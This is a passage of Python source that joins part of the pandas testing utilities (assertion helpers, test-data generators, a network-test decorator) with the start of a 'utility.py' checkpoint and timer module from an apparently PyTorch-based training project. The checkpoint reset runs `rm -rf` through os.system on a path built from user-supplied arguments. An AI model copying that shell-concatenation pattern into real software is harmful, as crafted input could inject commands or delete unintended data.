check_less_precise=check_less_precise, check_exact=check_exact, check_categorical=check_categorical, obj="{obj}.columns".format(obj=obj), ) # compare by blocks if by_blocks: rblocks = right._to_dict_of_blocks() lblocks = left._to_dict_of_blocks() for dtype in list(set(list(lblocks.keys()) + list(rblocks.keys()))): assert dtype in lblocks assert dtype in rblocks assert_frame_equal( lblocks[dtype], rblocks[dtype], check_dtype=check_dtype, obj=obj ) # compare by columns else: for i, col in enumerate(left.columns): assert col in right lcol = left.iloc[:, i] rcol = right.iloc[:, i] assert_series_equal( lcol, rcol, check_dtype=check_dtype, check_index_type=check_index_type, check_less_precise=check_less_precise, check_exact=check_exact, check_names=check_names, check_datetimelike_compat=check_datetimelike_compat, check_categorical=check_categorical, obj="{obj}.iloc[:, {idx}]".format(obj=obj, idx=i), ) def assert_equal(left, right, **kwargs): """ Wrapper for tm.assert_*_equal to dispatch to the appropriate test function. Parameters ---------- left : Index, Series, DataFrame, ExtensionArray, or np.ndarray right : Index, Series, DataFrame, ExtensionArray, or np.ndarray **kwargs """ __tracebackhide__ = True if isinstance(left, pd.Index): assert_index_equal(left, right, **kwargs) elif isinstance(left, pd.Series): assert_series_equal(left, right, **kwargs) elif isinstance(left, pd.DataFrame): assert_frame_equal(left, right, **kwargs) elif isinstance(left, IntervalArray): assert_interval_array_equal(left, right, **kwargs) elif isinstance(left, PeriodArray): assert_period_array_equal(left, right, **kwargs) elif isinstance(left, DatetimeArray): assert_datetime_array_equal(left, right, **kwargs) elif isinstance(left, TimedeltaArray): assert_timedelta_array_equal(left, right, **kwargs) elif isinstance(left, ExtensionArray): assert_extension_array_equal(left, right, **kwargs) elif isinstance(left, np.ndarray): assert_numpy_array_equal(left, right, **kwargs) elif isinstance(left, str): assert kwargs == {} return left == right else: raise NotImplementedError(type(left)) def box_expected(expected, box_cls, transpose=True): """ Helper function to wrap the expected output of a test in a given box_class. Parameters ---------- expected : np.ndarray, Index, Series box_cls : {Index, Series, DataFrame} Returns ------- subclass of box_cls """ if box_cls is pd.Index: expected = pd.Index(expected) elif box_cls is pd.Series: expected = pd.Series(expected) elif box_cls is pd.DataFrame: expected = pd.Series(expected).to_frame() if transpose: # for vector operations, we we need a DataFrame to be a single-row, # not a single-column, in order to operate against non-DataFrame # vectors of the same length. expected = expected.T elif box_cls is PeriodArray: # the PeriodArray constructor is not as flexible as period_array expected = period_array(expected) elif box_cls is DatetimeArray: expected = DatetimeArray(expected) elif box_cls is TimedeltaArray: expected = TimedeltaArray(expected) elif box_cls is np.ndarray: expected = np.array(expected) elif box_cls is to_array: expected = to_array(expected) else: raise NotImplementedError(box_cls) return expected def to_array(obj): # temporary implementation until we get pd.array in place if is_period_dtype(obj): return period_array(obj) elif is_datetime64_dtype(obj) or is_datetime64tz_dtype(obj): return DatetimeArray._from_sequence(obj) elif is_timedelta64_dtype(obj): return TimedeltaArray._from_sequence(obj) else: return np.array(obj) # ----------------------------------------------------------------------------- # Sparse def assert_sp_array_equal( left, right, check_dtype=True, check_kind=True, check_fill_value=True, consolidate_block_indices=False, ): """Check that the left and right SparseArray are equal. Parameters ---------- left : SparseArray right : SparseArray check_dtype : bool, default True Whether to check the data dtype is identical. check_kind : bool, default True Whether to just the kind of the sparse index for each column. check_fill_value : bool, default True Whether to check that left.fill_value matches right.fill_value consolidate_block_indices : bool, default False Whether to consolidate contiguous blocks for sparse arrays with a BlockIndex. Some operations, e.g. concat, will end up with block indices that could be consolidated. Setting this to true will create a new BlockIndex for that array, with consolidated block indices. """ _check_isinstance(left, right, pd.SparseArray) assert_numpy_array_equal(left.sp_values, right.sp_values, check_dtype=check_dtype) # SparseIndex comparison assert isinstance(left.sp_index, pd._libs.sparse.SparseIndex) assert isinstance(right.sp_index, pd._libs.sparse.SparseIndex) if not check_kind: left_index = left.sp_index.to_block_index() right_index = right.sp_index.to_block_index() else: left_index = left.sp_index right_index = right.sp_index if consolidate_block_indices and left.kind == "block": # we'll probably remove this hack... left_index = left_index.to_int_index().to_block_index() right_index = right_index.to_int_index().to_block_index() if not left_index.equals(right_index): raise_assert_detail( "SparseArray.index", "index are not equal", left_index, right_index ) else: # Just ensure a pass if check_fill_value: assert_attr_equal("fill_value", left, right) if check_dtype: assert_attr_equal("dtype", left, right) assert_numpy_array_equal(left.to_dense(), right.to_dense(), check_dtype=check_dtype) # ----------------------------------------------------------------------------- # Others def assert_contains_all(iterable, dic): for k in iterable: assert k in dic, "Did not contain item: '{key!r}'".format(key=k) def assert_copy(iter1, iter2, **eql_kwargs): """ iter1, iter2: iterables that produce elements comparable with assert_almost_equal Checks that the elements are equal, but not the same object. (Does not check that items in sequences are also not the same object) """ for elem1, elem2 in zip(iter1, iter2): assert_almost_equal(elem1, elem2, **eql_kwargs) msg = ( "Expected object {obj1!r} and object {obj2!r} to be " "different objects, but they were the same object." ).format(obj1=type(elem1), obj2=type(elem2)) assert elem1 is not elem2, msg def getCols(k): return string.ascii_uppercase[:k] # make index def makeStringIndex(k=10, name=None): return Index(rands_array(nchars=10, size=k), name=name) def makeUnicodeIndex(k=10, name=None): return Index(randu_array(nchars=10, size=k), name=name) def makeCategoricalIndex(k=10, n=3, name=None, **kwargs): """ make a length k index or n categories """ x = rands_array(nchars=4, size=n) return CategoricalIndex( Categorical.from_codes(np.arange(k) % n, categories=x), name=name, **kwargs ) def makeIntervalIndex(k=10, name=None, **kwargs): """ make a length k IntervalIndex """ x = np.linspace(0, 100, num=(k + 1)) return IntervalIndex.from_breaks(x, name=name, **kwargs) def makeBoolIndex(k=10, name=None): if k == 1: return Index([True], name=name) elif k == 2: return Index([False, True], name=name) return Index([False, True] + [False] * (k - 2), name=name) def makeIntIndex(k=10, name=None): return Index(list(range(k)), name=name) def makeUIntIndex(k=10, name=None): return Index([2 ** 63 + i for i in range(k)], name=name) def makeRangeIndex(k=10, name=None, **kwargs): return RangeIndex(0, k, 1, name=name, **kwargs) def makeFloatIndex(k=10, name=None): values = sorted(np.random.random_sample(k)) - np.random.random_sample(1) return Index(values * (10 ** np.random.randint(0, 9)), name=name) def makeDateIndex(k=10, freq="B", name=None, **kwargs): dt = datetime(2000, 1, 1) dr = bdate_range(dt, periods=k, freq=freq, name=name) return DatetimeIndex(dr, name=name, **kwargs) def makeTimedeltaIndex(k=10, freq="D", name=None, **kwargs): return pd.timedelta_range(start="1 day", periods=k, freq=freq, name=name, **kwargs) def makePeriodIndex(k=10, name=None, **kwargs): dt = datetime(2000, 1, 1) dr = pd.period_range(start=dt, periods=k, freq="B", name=name, **kwargs) return dr def makeMultiIndex(k=10, names=None, **kwargs): return MultiIndex.from_product((("foo", "bar"), (1, 2)), names=names, **kwargs) _names = [ "Alice", "Bob", "Charlie", "Dan", "Edith", "Frank", "George", "Hannah", "Ingrid", "Jerry", "Kevin", "Laura", "Michael", "Norbert", "Oliver", "Patricia", "Quinn", "Ray", "Sarah", "Tim", "Ursula", "Victor", "Wendy", "Xavier", "Yvonne", "Zelda", ] def _make_timeseries(start="2000-01-01", end="2000-12-31", freq="1D", seed=None): """ Make a DataFrame with a DatetimeIndex Parameters ---------- start : str or Timestamp, default "2000-01-01" The start of the index. Passed to date_range with `freq`. end : str or Timestamp, default "2000-12-31" The end of the index. Passed to date_range with `freq`. freq : str or Freq The frequency to use for the DatetimeIndex seed : int, optional The random state seed. * name : object dtype with string names * id : int dtype with * x, y : float dtype Examples -------- >>> _make_timeseries() id name x y timestamp 2000-01-01 982 Frank 0.031261 0.986727 2000-01-02 1025 Edith -0.086358 -0.032920 2000-01-03 982 Edith 0.473177 0.298654 2000-01-04 1009 Sarah 0.534344 -0.750377 2000-01-05 963 Zelda -0.271573 0.054424 ... ... ... ... ... 2000-12-27 980 Ingrid -0.132333 -0.422195 2000-12-28 972 Frank -0.376007 -0.298687 2000-12-29 1009 Ursula -0.865047 -0.503133 2000-12-30 1000 Hannah -0.063757 -0.507336 2000-12-31 972 Tim -0.869120 0.531685 """ index = pd.date_range(start=start, end=end, freq=freq, name="timestamp") n = len(index) state = np.random.RandomState(seed) columns = { "name": state.choice(_names, size=n), "id": state.poisson(1000, size=n), "x": state.rand(n) * 2 - 1, "y": state.rand(n) * 2 - 1, } df = pd.DataFrame(columns, index=index, columns=sorted(columns)) if df.index[-1] == end: df = df.iloc[:-1] return df def all_index_generator(k=10): """Generator which can be iterated over to get instances of all the various index classes. Parameters ---------- k: length of each of the index instances """ all_make_index_funcs = [ makeIntIndex, makeFloatIndex, makeStringIndex, makeUnicodeIndex, makeDateIndex, makePeriodIndex, makeTimedeltaIndex, makeBoolIndex, makeRangeIndex, makeIntervalIndex, makeCategoricalIndex, ] for make_index_func in all_make_index_funcs: yield make_index_func(k=k) def index_subclass_makers_generator(): make_index_funcs = [ makeDateIndex, makePeriodIndex, makeTimedeltaIndex, makeRangeIndex, makeIntervalIndex, makeCategoricalIndex, makeMultiIndex, ] for make_index_func in make_index_funcs: yield make_index_func def all_timeseries_index_generator(k=10): """Generator which can be iterated over to get instances of all the classes which represent time-series. Parameters ---------- k: length of each of the index instances """ make_index_funcs = [makeDateIndex, makePeriodIndex, makeTimedeltaIndex] for make_index_func in make_index_funcs: yield make_index_func(k=k) # make series def makeFloatSeries(name=None): index = makeStringIndex(N) return Series(randn(N), index=index, name=name) def makeStringSeries(name=None): index = makeStringIndex(N) return Series(randn(N), index=index, name=name) def makeObjectSeries(name=None): data = makeStringIndex(N) data = Index(data, dtype=object) index = makeStringIndex(N) return Series(data, index=index, name=name) def getSeriesData(): index = makeStringIndex(N) return {c: Series(randn(N), index=index) for c in getCols(K)} def makeTimeSeries(nper=None, freq="B", name=None): if nper is None: nper = N return Series(randn(nper), index=makeDateIndex(nper, freq=freq), name=name) def makePeriodSeries(nper=None, name=None): if nper is None: nper = N return Series(randn(nper), index=makePeriodIndex(nper), name=name) def getTimeSeriesData(nper=None, freq="B"): return {c: makeTimeSeries(nper, freq) for c in getCols(K)} def getPeriodData(nper=None): return {c: makePeriodSeries(nper) for c in getCols(K)} # make frame def makeTimeDataFrame(nper=None, freq="B"): data = getTimeSeriesData(nper, freq) return DataFrame(data) def makeDataFrame(): data = getSeriesData() return DataFrame(data) def getMixedTypeDict(): index = Index(["a", "b", "c", "d", "e"]) data = { "A": [0.0, 1.0, 2.0, 3.0, 4.0], "B": [0.0, 1.0, 0.0, 1.0, 0.0], "C": ["foo1", "foo2", "foo3", "foo4", "foo5"], "D": bdate_range("1/1/2009", periods=5), } return index, data def makeMixedDataFrame(): return DataFrame(getMixedTypeDict()[1]) def makePeriodFrame(nper=None): data = getPeriodData(nper) return DataFrame(data) def makeCustomIndex( nentries, nlevels, prefix="#", names=False, ndupe_l=None, idx_type=None ): """Create an index/multindex with given dimensions, levels, names, etc' nentries - number of entries in index nlevels - number of levels (> 1 produces multindex) prefix - a string prefix for labels names - (Optional), bool or list of strings. if True will use default names, if false will use no names, if a list is given, the name of each level in the index will be taken from the list. ndupe_l - (Optional), list of ints, the number of rows for which the label will repeated at the corresponding level, you can specify just the first few, the rest will use the default ndupe_l of 1. len(ndupe_l) <= nlevels. idx_type - "i"/"f"/"s"/"u"/"dt"/"p"/"td". If idx_type is not None, `idx_nlevels` must be 1. "i"/"f" creates an integer/float index, "s"/"u" creates a string/unicode index "dt" create a datetime index. "td" create a datetime index. if unspecified, string labels will be generated. """ if ndupe_l is None: ndupe_l = [1] * nlevels assert is_sequence(ndupe_l) and len(ndupe_l) <= nlevels assert names is None or names is False or names is True or len(names) is nlevels assert idx_type is None or ( idx_type in ("i", "f", "s", "u", "dt", "p", "td") and nlevels == 1 ) if names is True: # build default names names = [prefix + str(i) for i in range(nlevels)] if names is False: # pass None to index constructor for no name names = None # make singleton case uniform if isinstance(names, str) and nlevels == 1: names = [names] # specific 1D index type requested? idx_func = dict( i=makeIntIndex, f=makeFloatIndex, s=makeStringIndex, u=makeUnicodeIndex, dt=makeDateIndex, td=makeTimedeltaIndex, p=makePeriodIndex, ).get(idx_type) if idx_func: idx = idx_func(nentries) # but we need to fill in the name if names: idx.name = names[0] return idx elif idx_type is not None: raise ValueError( '"{idx_type}" is not a legal value for `idx_type`, ' 'use "i"/"f"/"s"/"u"/"dt/"p"/"td".'.format(idx_type=idx_type) ) if len(ndupe_l) < nlevels: ndupe_l.extend([1] * (nlevels - len(ndupe_l))) assert len(ndupe_l) == nlevels assert all(x > 0 for x in ndupe_l) tuples = [] for i in range(nlevels): def keyfunc(x): import re numeric_tuple = re.sub(r"[^\d_]_?", "", x).split("_") return [int(num) for num in numeric_tuple] # build a list of lists to create the index from div_factor = nentries // ndupe_l[i] + 1 cnt = Counter() for j in range(div_factor): label = "{prefix}_l{i}_g{j}".format(prefix=prefix, i=i, j=j) cnt[label] = ndupe_l[i] # cute Counter trick result = sorted(cnt.elements(), key=keyfunc)[:nentries] tuples.append(result) tuples = list(zip(*tuples)) # convert tuples to index if nentries == 1: # we have a single level of tuples, i.e. a regular Index index = Index(tuples[0], name=names[0]) elif nlevels == 1: name = None if names is None else names[0] index = Index((x[0] for x in tuples), name=name) else: index = MultiIndex.from_tuples(tuples, names=names) return index def makeCustomDataframe( nrows, ncols, c_idx_names=True, r_idx_names=True, c_idx_nlevels=1, r_idx_nlevels=1, data_gen_f=None, c_ndupe_l=None, r_ndupe_l=None, dtype=None, c_idx_type=None, r_idx_type=None, ): """ nrows, ncols - number of data rows/cols c_idx_names, idx_names - False/True/list of strings, yields No names , default names or uses the provided names for the levels of the corresponding index. You can provide a single string when c_idx_nlevels ==1. c_idx_nlevels - number of levels in columns index. > 1 will yield MultiIndex r_idx_nlevels - number of levels in rows index. > 1 will yield MultiIndex data_gen_f - a function f(row,col) which return the data value at that position, the default generator used yields values of the form "RxCy" based on position. c_ndupe_l, r_ndupe_l - list of integers, determines the number of duplicates for each label at a given level of the corresponding index. The default `None` value produces a multiplicity of 1 across all levels, i.e. a unique index. Will accept a partial list of length N < idx_nlevels, for just the first N levels. If ndupe doesn't divide nrows/ncol, the last label might have lower multiplicity. dtype - passed to the DataFrame constructor as is, in case you wish to have more control in conjunction with a custom `data_gen_f` r_idx_type, c_idx_type - "i"/"f"/"s"/"u"/"dt"/"td". If idx_type is not None, `idx_nlevels` must be 1. "i"/"f" creates an integer/float index, "s"/"u" creates a string/unicode index "dt" create a datetime index. "td" create a timedelta index. if unspecified, string labels will be generated. Examples: # 5 row, 3 columns, default names on both, single index on both axis >> makeCustomDataframe(5,3) # make the data a random int between 1 and 100 >> mkdf(5,3,data_gen_f=lambda r,c:randint(1,100)) # 2-level multiindex on rows with each label duplicated # twice on first level, default names on both axis, single # index on both axis >> a=makeCustomDataframe(5,3,r_idx_nlevels=2,r_ndupe_l=[2]) # DatetimeIndex on row, index with unicode labels on columns # no names on either axis >> a=makeCustomDataframe(5,3,c_idx_names=False,r_idx_names=False, r_idx_type="dt",c_idx_type="u") # 4-level multindex on rows with names provided, 2-level multindex # on columns with default labels and default names. >> a=makeCustomDataframe(5,3,r_idx_nlevels=4, r_idx_names=["FEE","FI","FO","FAM"], c_idx_nlevels=2) >> a=mkdf(5,3,r_idx_nlevels=2,c_idx_nlevels=4) """ assert c_idx_nlevels > 0 assert r_idx_nlevels > 0 assert r_idx_type is None or ( r_idx_type in ("i", "f", "s", "u", "dt", "p", "td") and r_idx_nlevels == 1 ) assert c_idx_type is None or ( c_idx_type in ("i", "f", "s", "u", "dt", "p", "td") and c_idx_nlevels == 1 ) columns = makeCustomIndex( ncols, nlevels=c_idx_nlevels, prefix="C", names=c_idx_names, ndupe_l=c_ndupe_l, idx_type=c_idx_type, ) index = makeCustomIndex( nrows, nlevels=r_idx_nlevels, prefix="R", names=r_idx_names, ndupe_l=r_ndupe_l, idx_type=r_idx_type, ) # by default, generate data based on location if data_gen_f is None: data_gen_f = lambda r, c: "R{rows}C{cols}".format(rows=r, cols=c) data = [[data_gen_f(r, c) for c in range(ncols)] for r in range(nrows)] return DataFrame(data, index, columns, dtype=dtype) def _create_missing_idx(nrows, ncols, density, random_state=None): if random_state is None: random_state = np.random else: random_state = np.random.RandomState(random_state) # below is cribbed from scipy.sparse size = int(np.round((1 - density) * nrows * ncols)) # generate a few more to ensure unique values min_rows = 5 fac = 1.02 extra_size = min(size + min_rows, fac * size) def _gen_unique_rand(rng, _extra_size): ind = rng.rand(int(_extra_size)) return np.unique(np.floor(ind * nrows * ncols))[:size] ind = _gen_unique_rand(random_state, extra_size) while ind.size < size: extra_size *= 1.05 ind = _gen_unique_rand(random_state, extra_size) j = np.floor(ind * 1.0 / nrows).astype(int) i = (ind - j * nrows).astype(int) return i.tolist(), j.tolist() def makeMissingCustomDataframe( nrows, ncols, density=0.9, random_state=None, c_idx_names=True, r_idx_names=True, c_idx_nlevels=1, r_idx_nlevels=1, data_gen_f=None, c_ndupe_l=None, r_ndupe_l=None, dtype=None, c_idx_type=None, r_idx_type=None, ): """ Parameters ---------- Density : float, optional Float in (0, 1) that gives the percentage of non-missing numbers in the DataFrame. random_state : {np.random.RandomState, int}, optional Random number generator or random seed. See makeCustomDataframe for descriptions of the rest of the parameters. """ df = makeCustomDataframe( nrows, ncols, c_idx_names=c_idx_names, r_idx_names=r_idx_names, c_idx_nlevels=c_idx_nlevels, r_idx_nlevels=r_idx_nlevels, data_gen_f=data_gen_f, c_ndupe_l=c_ndupe_l, r_ndupe_l=r_ndupe_l, dtype=dtype, c_idx_type=c_idx_type, r_idx_type=r_idx_type, ) i, j = _create_missing_idx(nrows, ncols, density, random_state) df.values[i, j] = np.nan return df def makeMissingDataframe(density=0.9, random_state=None): df = makeDataFrame() i, j = _create_missing_idx(*df.shape, density=density, random_state=random_state) df.values[i, j] = np.nan return df class TestSubDict(dict): def __init__(self, *args, **kwargs): dict.__init__(self, *args, **kwargs) def optional_args(decorator): """allows a decorator to take optional positional and keyword arguments. Assumes that taking a single, callable, positional argument means that it is decorating a function, i.e. something like this:: @my_decorator def function(): pass Calls decorator with decorator(f, *args, **kwargs)""" @wraps(decorator) def wrapper(*args, **kwargs): def dec(f): return decorator(f, *args, **kwargs) is_decorating = not kwargs and len(args) == 1 and callable(args[0]) if is_decorating: f = args[0] args = [] return dec(f) else: return dec return wrapper # skip tests on exceptions with this message _network_error_messages = ( # 'urlopen error timed out', # 'timeout: timed out', # 'socket.timeout: timed out', "timed out", "Server Hangup", "HTTP Error 503: Service Unavailable", "502: Proxy Error", "HTTP Error 502: internal error", "HTTP Error 502", "HTTP Error 503", "HTTP Error 403", "HTTP Error 400", "Temporary failure in name resolution", "Name or service not known", "Connection refused", "certificate verify", ) # or this e.errno/e.reason.errno _network_errno_vals = ( 101, # Network is unreachable 111, # Connection refused 110, # Connection timed out 104, # Connection reset Error 54, # Connection reset by peer 60, # urllib.error.URLError: [Errno 60] Connection timed out ) # Both of the above shouldn't mask real issues such as 404's # or refused connections (changed DNS). # But some tests (test_data yahoo) contact incredibly flakey # servers. # and conditionally raise on exception types in _get_default_network_errors def _get_default_network_errors(): # Lazy import for http.client because it imports many things from the stdlib import http.client return (IOError, http.client.HTTPException, TimeoutError) def can_connect(url, error_classes=None): """Try to connect to the given url. True if succeeds, False if IOError raised Parameters ---------- url : basestring The URL to try to connect to Returns ------- connectable : bool Return True if no IOError (unable to connect) or URLError (bad url) was raised """ if error_classes is None: error_classes = _get_default_network_errors() try: with urlopen(url): pass except error_classes: return False else: return True @optional_args def network( t, url="http://www.google.com", raise_on_error=_RAISE_NETWORK_ERROR_DEFAULT, check_before_test=False, error_classes=None, skip_errnos=_network_errno_vals, _skip_on_messages=_network_error_messages, ): """ Label a test as requiring network connection and, if an error is encountered, only raise if it does not find a network connection. In comparison to ``network``, this assumes an added contract to your test: you must assert that, under normal conditions, your test will ONLY fail if it does not have network connectivity. You can call this in 3 ways: as a standard decorator, with keyword arguments, or with a positional argument that is the url to check. Parameters ---------- t : callable The test requiring network connectivity. url : path The url to test via ``pandas.io.common.urlopen`` to check for connectivity. Defaults to 'http://www.google.com'. raise_on_error : bool If True, never catches errors. check_before_test : bool If True, checks connectivity before running the test case. error_classes : tuple or Exception error classes to ignore. If not in ``error_classes``, raises the error. defaults to IOError. Be careful about changing the error classes here. skip_errnos : iterable of int Any exception that has .errno or .reason.erno set to one of these values will be skipped with an appropriate message. _skip_on_messages: iterable of string any exception e for which one of the strings is a substring of str(e) will be skipped with an appropriate message. Intended to suppress errors where an errno isn't available. Notes ----- * ``raise_on_error`` supercedes ``check_before_test`` Returns ------- t : callable The decorated test ``t``, with checks for connectivity errors. Example ------- Tests decorated with @network will fail if it's possible to make a network connection to another URL (defaults to google.com):: >>> from pandas.util.testing import network >>> from pandas.io.common import urlopen >>> @network ... def test_network(): ... with urlopen("rabbit://bonanza.com"): ... pass Traceback ... URLError: <urlopen error unknown url type: rabit> You can specify alternative URLs:: >>> @network("http://www.yahoo.com") ... def test_something_with_yahoo(): ... raise IOError("Failure Message") >>> test_something_with_yahoo() Traceback (most recent call last): ... IOError: Failure Message If you set check_before_test, it will check the url first and not run the test on failure:: >>> @network("failing://url.blaher", check_before_test=True) ... def test_something(): ... print("I ran!") ... raise ValueError("Failure") >>> test_something() Traceback (most recent call last): ... Errors not related to networking will always be raised. """ from pytest import skip if error_classes is None: error_classes = _get_default_network_errors() t.network = True @wraps(t) def wrapper(*args, **kwargs): if check_before_test and not raise_on_error: if not can_connect(url, error_classes): skip() try: return t(*args, **kwargs) except Exception as err: errno = getattr(err, "errno", None) if not errno and hasattr(errno, "reason"): errno = getattr(err.reason, "errno", None) if errno in skip_errnos: skip( "Skipping test due to known errno" " and error {error}".format(error=err) ) e_str = str(err) if any(m.lower() in e_str.lower() for m in _skip_on_messages): skip( "Skipping test because exception " "message is known and error {error}".format(error=err) ) if not isinstance(err, error_classes): raise if raise_on_error or can_connect(url, error_classes): raise else: skip( "Skipping test due to lack of connectivity" " and error {error}".format(error=err) ) return wrapper with_connectivity_check = network @contextmanager def assert_produces_warning( expected_warning=Warning, filter_level="always", clear=None, check_stacklevel=True, raise_on_extra_warnings=True, ): """ Context manager for running code expected to either raise a specific warning, or not raise any warnings. Verifies that the code raises the expected warning, and that it does not raise any other unexpected warnings. It is basically a wrapper around ``warnings.catch_warnings``. Parameters ---------- expected_warning : {Warning, False, None}, default Warning The type of Exception raised. ``exception.Warning`` is the base class for all warnings. To check that no warning is returned, specify ``False`` or ``None``. filter_level : str or None, default "always" Specifies whether warnings are ignored, displayed, or turned into errors. Valid values are: * "error" - turns matching warnings into exceptions * "ignore" - discard the warning * "always" - always emit a warning * "default" - print the warning the first time it is generated from each location * "module" - print the warning the first time it is generated from each module * "once" - print the warning the first time it is generated clear : str, default None If not ``None`` then remove any previously raised warnings from the ``__warningsregistry__`` to ensure that no warning messages are suppressed by this context manager. If ``None`` is specified, the ``__warningsregistry__`` keeps track of which warnings have been shown, and does not show them again. check_stacklevel : bool, default True If True, displays the line that called the function containing the warning to show were the function is called. Otherwise, the line that implements the function is displayed. raise_on_extra_warnings : bool, default True Whether extra warnings not of the type `expected_warning` should cause the test to fail. Examples -------- >>> import warnings >>> with assert_produces_warning(): ... warnings.warn(UserWarning()) ... >>> with assert_produces_warning(False): ... warnings.warn(RuntimeWarning()) ... Traceback (most recent call last): ... AssertionError: Caused unexpected warning(s): ['RuntimeWarning']. >>> with assert_produces_warning(UserWarning): ... warnings.warn(RuntimeWarning()) Traceback (most recent call last): ... AssertionError: Did not see expected warning of class 'UserWarning'. ..warn:: This is *not* thread-safe. """ __tracebackhide__ = True with warnings.catch_warnings(record=True) as w: if clear is not None: # make sure that we are clearing these warnings # if they have happened before # to guarantee that we will catch them if not is_list_like(clear): clear = [clear] for m in clear: try: m.__warningregistry__.clear() except AttributeError: # module may not have __warningregistry__ pass saw_warning = False warnings.simplefilter(filter_level) yield w extra_warnings = [] for actual_warning in w: if expected_warning and issubclass( actual_warning.category, expected_warning ): saw_warning = True if check_stacklevel and issubclass( actual_warning.category, (FutureWarning, DeprecationWarning) ): from inspect import getframeinfo, stack caller = getframeinfo(stack()[2][0]) msg = ( "Warning not set with correct stacklevel. " "File where warning is raised: {actual} != " "{caller}. Warning message: {message}" ).format( actual=actual_warning.filename, caller=caller.filename, message=actual_warning.message, ) assert actual_warning.filename == caller.filename, msg else: extra_warnings.append( ( actual_warning.category.__name__, actual_warning.message, actual_warning.filename, actual_warning.lineno, ) ) if expected_warning: msg = "Did not see expected warning of class {name!r}.".format( name=expected_warning.__name__ ) assert saw_warning, msg if raise_on_extra_warnings and extra_warnings: raise AssertionError( "Caused unexpected warning(s): {!r}.".format(extra_warnings) ) class RNGContext: """ Context manager to set the numpy random number generator speed. Returns to the original value upon exiting the context manager. Parameters ---------- seed : int Seed for numpy.random.seed Examples -------- with RNGContext(42): np.random.randn() """ def __init__(self, seed): self.seed = seed def __enter__(self): self.start_state = np.random.get_state() np.random.seed(self.seed) def __exit__(self, exc_type, exc_value, traceback): np.random.set_state(self.start_state) @contextmanager def with_csv_dialect(name, **kwargs): """ Context manager to temporarily register a CSV dialect for parsing CSV. Parameters ---------- name : str The name of the dialect. kwargs : mapping The parameters for the dialect. Raises ------ ValueError : the name of the dialect conflicts with a builtin one. See Also -------- csv : Python's CSV library. """ import csv _BUILTIN_DIALECTS = {"excel", "excel-tab", "unix"} if name in _BUILTIN_DIALECTS: raise ValueError("Cannot override builtin dialect.") csv.register_dialect(name, **kwargs) yield csv.unregister_dialect(name) @contextmanager def use_numexpr(use, min_elements=None): from pandas.core.computation import expressions as expr if min_elements is None: min_elements = expr._MIN_ELEMENTS olduse = expr._USE_NUMEXPR oldmin = expr._MIN_ELEMENTS expr.set_use_numexpr(use) expr._MIN_ELEMENTS = min_elements yield expr._MIN_ELEMENTS = oldmin expr.set_use_numexpr(olduse) def test_parallel(num_threads=2, kwargs_list=None): """Decorator to run the same function multiple times in parallel. Parameters ---------- num_threads : int, optional The number of times the function is run in parallel. kwargs_list : list of dicts, optional The list of kwargs to update original function kwargs on different threads. Notes ----- This decorator does not pass the return value of the decorated function. Original from scikit-image: https://github.com/scikit-image/scikit-image/pull/1519 """ assert num_threads > 0 has_kwargs_list = kwargs_list is not None if has_kwargs_list: assert len(kwargs_list) == num_threads import threading def wrapper(func): @wraps(func) def inner(*args, **kwargs): if has_kwargs_list: update_kwargs = lambda i: dict(kwargs, **kwargs_list[i]) else: update_kwargs = lambda i: kwargs threads = [] for i in range(num_threads): updated_kwargs = update_kwargs(i) thread = threading.Thread(target=func, args=args, kwargs=updated_kwargs) threads.append(thread) for thread in threads: thread.start() for thread in threads: thread.join() return inner return wrapper class SubclassedSeries(Series): _metadata = ["testattr", "name"] @property def _constructor(self): return SubclassedSeries @property def _constructor_expanddim(self): return SubclassedDataFrame class SubclassedDataFrame(DataFrame): _metadata = ["testattr"] @property def _constructor(self): return SubclassedDataFrame @property def _constructor_sliced(self): return SubclassedSeries class SubclassedCategorical(Categorical): @property def _constructor(self): return SubclassedCategorical @contextmanager def set_timezone(tz): """Context manager for temporarily setting a timezone. Parameters ---------- tz : str A string representing a valid timezone. Examples -------- >>> from datetime import datetime >>> from dateutil.tz import tzlocal >>> tzlocal().tzname(datetime.now()) 'IST' >>> with set_timezone('US/Eastern'): ... tzlocal().tzname(datetime.now()) ... 'EDT' """ import os import time def setTZ(tz): if tz is None: try: del os.environ["TZ"] except KeyError: pass else: os.environ["TZ"] = tz time.tzset() orig_tz = os.environ.get("TZ") setTZ(tz) try: yield finally: setTZ(orig_tz) def _make_skipna_wrapper(alternative, skipna_alternative=None): """Create a function for calling on an array. Parameters ---------- alternative : function The function to be called on the array with no NaNs. Only used when 'skipna_alternative' is None. skipna_alternative : function The function to be called on the original array Returns ------- skipna_wrapper : function """ if skipna_alternative: def skipna_wrapper(x): return skipna_alternative(x.values) else: def skipna_wrapper(x): nona = x.dropna() if len(nona) == 0: return np.nan return alternative(nona) return skipna_wrapper def convert_rows_list_to_csv_str(rows_list): """ Convert list of CSV rows to single CSV-formatted string for current OS. This method is used for creating expected value of to_csv() method. Parameters ---------- rows_list : list The list of string. Each element represents the row of csv. Returns ------- expected : string Expected output of to_csv() in current OS """ sep = os.linesep expected = sep.join(rows_list) + sep return expected
utility.py
import os import math import time import datetime from multiprocessing import Process from multiprocessing import Queue import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import numpy as np import imageio import torch import torch.optim as optim import torch.optim.lr_scheduler as lrs class timer(): def __init__(self): self.acc = 0 self.tic() def tic(self): self.t0 = time.time() def toc(self, restart=False): diff = time.time() - self.t0 if restart: self.t0 = time.time() return diff def hold(self): self.acc += self.toc() def release(self): ret = self.acc self.acc = 0 return ret def reset(self): self.acc = 0 class checkpoint(): def __init__(self, args): self.args = args self.ok = True self.log = torch.Tensor() now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S') if not args.load: if not args.save: args.save = now self.dir = os.path.join('..', 'experiment', args.save) else: self.dir = os.path.join('..', 'experiment', args.load) if os.path.exists(self.dir): self.log = torch.load(self.get_path('psnr_log.pt')) print('Continue from epoch {}...'.format(len(self.log))) else: args.load = '' if args.reset: os.system('rm -rf ' + self.dir) args.load = '' os.makedirs(self.dir, exist_ok=True) os.makedirs(self.get_path('model'), exist_ok=True) for d in args.data_test: os.makedirs(self.get_path('results-{}'.format(d)), exist_ok=True) open_type = 'a' if os.path.exists(self.get_path('log.txt'))else 'w' self.log_file = open(self.get_path('log.txt'), open_type) with open(self.get_path('config.txt'), open_type) as f: f.write(now + '\n\n') for arg in vars(args): f.write('{}: {}\n'.format(arg, getattr(args, arg))) f.write('\n') self.n_processes = 8 def get_path(self, *subdir): return os.path.join(self.dir, *subdir) def save(self, trainer, epoch, is_best=False): trainer.model.save(self.get_path('model'), epoch, is_best=is_best) trainer.loss.save(self.dir) 